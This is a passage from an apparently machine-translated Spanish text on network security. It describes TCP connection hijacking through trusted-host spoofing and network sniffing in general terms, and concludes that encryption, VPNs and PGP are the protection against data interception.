    La primera tarea se resuelve mediante estudios en profundidad de la implementación del protocolo TCP en varios sistemas operativos y ahora tiene un significado puramente teórico. El segundo problema se resuelve utilizando vulnerabilidades. sistemas unix identificando hosts confiables. (Con respecto a un host A determinado, es confiable un host de red B cuyo usuario puede conectarse al host A sin autenticación utilizando el servicio r del host A). Al manipular los parámetros de los paquetes TCP, un pirata informático puede intentar hacerse pasar por un host confiable e interceptar una conexión TCP con el host atacado.

    Todo esto es muy interesante, pero los resultados prácticos de este tipo de investigación aún no son visibles. Por ello, aconsejamos a todo aquel que quiera profundizar en este tema que consulte el libro, de donde se tomó principalmente la información presentada anteriormente.

    Conclusión

    La interceptación de datos de la red es el método más eficaz de piratería de redes, ya que permite a un pirata informático obtener casi toda la información que circula en la red. El mayor desarrollo práctico se ha logrado con las herramientas de rastreo, es decir, escuchar redes; Sin embargo, no podemos ignorar los métodos de interceptación de datos de la red, realizados interfiriendo con el funcionamiento normal de la red para redirigir el tráfico a un host de piratas informáticos, especialmente los métodos de interceptación de conexiones TCP. Sin embargo, en la práctica, estos últimos métodos aún no se han desarrollado lo suficiente y es necesario mejorarlos.

    Un anti-hacker debe saber que la única salvación de la interceptación de datos es su cifrado, es decir. métodos de protección criptográfica. Al enviar un mensaje a través de la red, debe asumir de antemano que el sistema de cable de la red es absolutamente vulnerable y que cualquier pirata informático conectado a la red podrá capturar todos los mensajes secretos transmitidos desde ella. Existen dos tecnologías para resolver este problema: crear una red VPN y cifrar los mensajes. Todas estas tareas son muy fáciles de resolver utilizando el paquete de software PGP Desktop Security (su descripción se puede encontrar, por ejemplo, en).



    
    Arriba